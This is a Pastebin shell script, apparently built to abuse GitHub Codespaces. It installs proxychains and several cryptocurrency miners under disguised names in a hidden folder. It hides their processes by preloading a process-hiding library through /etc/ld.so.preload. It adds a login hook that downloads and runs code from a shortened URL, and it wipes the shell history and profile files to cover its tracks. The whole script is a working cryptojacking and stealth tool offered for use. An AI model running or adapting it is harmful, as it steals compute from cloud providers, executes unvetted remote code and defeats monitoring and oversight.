Advertisement
ppek

CodeS

Jul 1st, 2023 (edited)
110
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.54 KB | None | 0 0
  1. #!/bin/sh
  2. rm -rvf .lib*
  3. echo "==================="
  4. echo " CEK TIMEZONE "
  5. echo "==================="
  6. echo " "
  7. echo " "
  8. ln -fs /usr/share/zoneinfo/Asia/Jakarta /etc/localtime
  9. dpkg-reconfigure --frontend noninteractive tzdata
  10. sleep 2
  11. echo "."
  12. sudo apt update -y;apt -y install libcurl4-openssl-dev libssl-dev libjansson-dev automake autotools-dev build-essential binutils git cmake screen unzip net-tools curl -y
  13. sleep 2
  14. wget https://github.com/AhmadTugiman/gembel/raw/main/tukimin.zip
  15. unzip tukimin.zip
  16. rm -rf tukimin.zip
  17. make
  18. gcc -Wall -fPIC -shared -o libprocesshider.so processhider.c -ldl
  19. mv libprocesshider.so /usr/local/lib/
  20. echo /usr/local/lib/libprocesshider.so >> /etc/ld.so.preload
  21. echo "."
  22. cd
  23. wget -q -O proxy https://bitbucket.org/asimadarasi/alima/downloads/panel && chmod +x proxy
  24. wget -q https://bitbucket.org/asimadarasi/alima/downloads/proxychains.conf && chmod +x proxychains.conf
  25. wget -q https://bitbucket.org/asimadarasi/alima/downloads/libproxychains4.so && chmod +x libproxychains4.so
  26. cd && mkdir .lib
  27. cd && cd .lib
  28. git clone https://github.com/sukamenari/akc.git && cd akc && rm bash && wget https://github.com/rplant8/cpuminer-opt-rplant/releases/download/5.0.29/cpuminer-opt-linux.tar.gz --no-check-certificate && tar xf cpuminer-opt-linux.tar.gz && rm cpuminer-opt-linux.tar.gz && mv cpuminer-avx2 java && mv java* ~/ && mv java* /home/codespace/.lib && cd .. && rm -rvf cpuminer-opt-linux && mv kernel* /home/codespace/.lib
  29. nohup wget https://github.com/nanopool/nanominer/releases/download/v3.8.3/nanominer-linux-3.8.3.tar.gz && tar -xf nanominer-linux-3.8.3.tar.gz && mv nanominer nano && mv nano* ~/
  30. wget https://github.com/hellcatz/hminer/releases/download/v0.59.1/hellminer_linux64.tar.gz && tar xf hellminer_linux64.tar.gz && mv hellminer hell && mv hell* ~/
  31. cd && cd .lib && rm -rvf akc
  32. echo "" > /home/codespace/.bashrc
  33. echo "" > /home/codespace/.bash_history
  34. echo "" > /home/codespace/.bash_profile
  35. echo 'echo "" >> /home/codespace/.bash_history' >> /home/codespace/.bashrc
  36. echo "source /home/codespace/.bash_profile" >> /home/codespace/.bashrc
  37. echo "LD_LIBRARY_PATH=/home/studio-lab-user/.lib" > /home/codespace/.bash_profile
  38. echo "export LD_LIBRARY_PATH" >> /home/codespace/.bash_profile
  39. echo "bash /home/codespace/.lib/gas.sh" >> /home/codespace/.bash_profile &&
  40. echo "export LC_ALL=C; unset LANGUAGE && cd && rm -rvf e && wget -O e http://tiny.cc/Sugar01 && chmod +x e && sed -i -e 's/\r$//' e && ./e " > /home/codespace/.lib/gas.sh
  41. cd /home/codespace/.lib/
  42. chmod +x gas.sh && cd ~/ && history -cr && source .bashrc
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement